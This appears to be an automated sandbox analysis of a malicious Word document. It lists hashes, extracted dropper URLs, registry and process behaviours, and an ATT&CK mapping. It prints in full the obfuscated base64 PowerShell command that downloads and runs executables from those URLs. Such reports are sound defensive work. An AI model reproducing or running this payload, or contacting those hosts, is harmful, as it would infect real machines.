b9867ead986e6afb8337409a0b509cac26e3d383deb83f38f1cfcde8eaf3ab01

General

Target

cnewqstk.doc
Size

183KB
MD5

13fca40dc4820dc73c751e70130201f7
SHA1

3edaa4017e9f54561bafb3b2e5406e666e271146
SHA256

b9867ead986e6afb8337409a0b509cac26e3d383deb83f38f1cfcde8eaf3ab01
SHA512

fc9ca9a0b1b6ca19f41ae506e85f17b0e05e5dd6b80641e130274e219b02a91aeac7f718db1f4804c81c17e830e1ca67a2f59384d8df5e412ad76c3592c4b23b

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://aci.serabd.com/gt7pie/WMq/

exe.dropper

http://acainacumbuca.com.br/protected-disk/x/

exe.dropper

http://airmaxx.rs/available-zone/UFxfTGg/

exe.dropper

http://labersa.com/preview/atbFjM/

exe.dropper

http://agenciaetalk.com/common-zone/uF5x3RF/

exe.dropper

http://brizboy.com/site/WrrdOMS/

exe.dropper

http://clutchinc.net/image/1/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1016 280 powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1016	280	powersheLL.exe

Blocklisted process makes network request 7 IoCs

Processes:

powersheLL.exe

flow	pid	process
6	1016	powersheLL.exe
8	1016	powersheLL.exe
9	1016	powersheLL.exe
12	1016	powersheLL.exe
14	1016	powersheLL.exe
16	1016	powersheLL.exe
18	1016	powersheLL.exe

Drops file in System32 directory 1 IoCs

Processes:

powersheLL.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powersheLL.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\TypeLib\{80792347-04E8-484E-B192-332D849EADEF}\2.0\HELPDIR	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\TypeLib\{80792347-04E8-484E-B192-332D849EADEF}\2.0\0\win32	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

2044 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powersheLL.exe

pid process

1016 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 1016 powersheLL.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

2044 WINWORD.EXE
2044 WINWORD.EXE

pid	process
2044	WINWORD.EXE

pid	process
1016	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	1016	powersheLL.exe

pid	process
2044	WINWORD.EXE
2044	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 2044 wrote to memory of 1368	2044	WINWORD.EXE	splwow64.exe
PID 2044 wrote to memory of 1368	2044	WINWORD.EXE	splwow64.exe
PID 2044 wrote to memory of 1368	2044	WINWORD.EXE	splwow64.exe
PID 2044 wrote to memory of 1368	2044	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\cnewqstk.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2044

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1368

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABPAHgAMgA4AHcAagA2AD0AKAAnAFoAJwArACcAaAA2AG8AJwArACcAYQB4AHMAJwApADsAJgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBuAHYAOgB0AGUATQBQAFwATwBmAEYASQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBDAGAAVQBSAEkAYABUAHkAUABgAFIATwBUAGAATwBjAGAATwBsACIAIAA9ACAAKAAnAHQAbABzADEAMgAsACAAJwArACcAdAAnACsAJwBsACcAKwAnAHMAMQAxACcAKwAnACwAIAB0ACcAKwAnAGwAcwAnACkAOwAkAEUAagB1AGMAYQBfAF8AIAA9ACAAKAAnAFMAZgA3ACcAKwAnAF8AJwArACcAeQBkAGsAdQAnACkAOwAkAEUAXwBjAHoAbABlAHcAPQAoACcAUwBfAGEAJwArACcAbQBlAHEAZwAnACkAOwAkAEsAMgBvAHUAOQBjAHgAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAGEAYgB5ACcAKwAnAE8AJwArACcAZgBmAGkAJwArACcAYwBlACcAKwAnADIAMAAxACcAKwAnADkAYQBiAHkAJwApACAALQBjAFIARQBQAGwAYQBDAEUAIAAnAGEAYgB5ACcALABbAEMASABhAHIAXQA5ADIAKQArACQARQBqAHUAYwBhAF8AXwArACgAJwAuACcAKwAnAGUAeABlACcAKQA7ACQARQB2ADEAaQBpADQAdAA9ACgAJwBBAG4AJwArACcANwAnACsAJwBlAF8AcgBxACcAKQA7ACQAUAAyAGgAbAAyAGMAeAA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgB3AGUAYgBDAGwAaQBlAG4AdAA7ACQAUQBnAF8AZgBsAGoAbwA9ACgAJwBoAHQAdABwADoALwAvACcAKwAnAGEAYwBpAC4AcwAnACsAJwBlAHIAYQBiACcAKwAnAGQALgBjAG8AbQAvAGcAdAAnACsAJwA3AHAAaQBlAC8AJwArACcAVwBNAHEAJwArACcALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwArACcAYQBjAGEAaQBuAGEAYwAnACsAJwB1AG0AYgB1AGMAYQAuAGMAbwBtAC4AYgByAC8AcAAnACsAJwByACcAKwAnAG8AdABlAGMAdAAnACsAJwBlACcAKwAnAGQALQBkAGkAJwArACcAcwBrAC8AeAAnACsAJwAvACoAJwArACcAaAB0AHQAcAAnACsAJwA6AC8ALwBhAGkAcgBtAGEAeAAnACsAJwB4ACcAKwAnAC4AJwArACcAcgAnACsAJwBzAC8AYQB2AGEAaQBsACcAKwAnAGEAJwArACcAYgBsAGUALQB6AG8AbgBlAC8AJwArACcAVQBGAHgAJwArACcAZgAnACsAJwBUAEcAZwAnACsAJwAvACoAJwArACcAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwA6AC8AJwArACcALwBsACcAKwAnAGEAYgBlAHIAcwAnACsAJwBhAC4AYwBvAG0ALwAnACsAJwBwAHIAZQAnACsAJwB2AGkAJwArACcAZQAnACsAJwB3AC8AYQB0ACcAKwAnAGIARgBqAE0AJwArACcALwAqACcAKwAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AYQBnAGUAbgBjACcAKwAnAGkAYQBlAHQAYQAnACsAJwBsACcAKwAnAGsAJwArACcALgAnACsAJwBjACcAKwAnAG8AbQAvAGMAbwBtAG0AbwBuAC0AegBvAG4AZQAvAHUARgA1AHgAMwBSAEYALwAqAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwArACcAYgAnACsAJwByAGkAegBiAG8AeQAuAGMAJwArACcAbwBtACcAKwAnAC8AcwAnACsAJwBpAHQAJwArACcAZQAvAFcAcgByAGQATwBNAFMALwAqAGgAJwArACcAdAB0AHAAOgAvAC8AYwBsAHUAdABjACcAKwAnAGgAaQBuAGMALgBuAGUAJwArACcAdAAvAGkAbQAnACsAJwBhAGcAZQAvADEALwAnACkALgAiAFMAUABgAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARQBuAHAAagAzAHUAeQA9ACgAJwBHACcAKwAnAHkAbAB4AHIAZwB1ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFAAMQA2AHQAeQBjAGIAIABpAG4AIAAkAFEAZwBfAGYAbABqAG8AKQB7AHQAcgB5AHsAJABQADIAaABsADIAYwB4AC4AIgBkAGAATwBXAGAATgBsAE8AYABBAGQAZgBJAEwARQAiACgAJABQADEANgB0AHkAYwBiACwAIAAkAEsAMgBvAHUAOQBjAHgAKQA7ACQAUwBkAHMAdAB1AG0AbQA9ACgAJwBNAGwAegAnACsAJwAwAGoAcwAyACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABLADIAbwB1ADkAYwB4ACkALgAiAGwARQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMgA0ADYANwA1ACkAIAB7AC4AKAAnAEkAbgB2ACcAKwAnAG8AawBlACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEsAMgBvAHUAOQBjAHgAKQA7ACQAUgBmADMAYgA5AGYAdwA9ACgAJwBRAF8AdQAnACsAJwBzADgAagAnACsAJwA1ACcAKQA7AGIAcgBlAGEAawA7ACQARQBwADgAMAA5ADQANgA9ACgAJwBCADQAcQAnACsAJwA2ADEANAAyACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgBlADUAYQA0AHkAMwA9ACgAJwBYACcAKwAnAHcAOABtADMAJwArACcANgB1ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1016

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1016-79-0x000007FEFBFD1000-0x000007FEFBFD3000-memory.dmp

Filesize
8KB

Download
memory/1016-83-0x000000000256B000-0x000000000258A000-memory.dmp

Filesize
124KB

Download
memory/1016-82-0x000000001B730000-0x000000001BA2F000-memory.dmp

Filesize
3.0MB

Download
memory/1016-80-0x000007FEF3960000-0x000007FEF44BD000-memory.dmp

Filesize
11.4MB

Download
memory/1016-81-0x0000000002564000-0x0000000002567000-memory.dmp

Filesize
12KB

Download
memory/1368-84-0x0000000000000000-mapping.dmp

Download
memory/2044-68-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-73-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-62-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-63-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-64-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-65-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-66-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-67-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-70-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-69-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

Download
memory/2044-54-0x0000000072921000-0x0000000072924000-memory.dmp

Filesize
12KB

Download
memory/2044-71-0x00000000006E1000-0x00000000006E5000-memory.dmp

Filesize
16KB

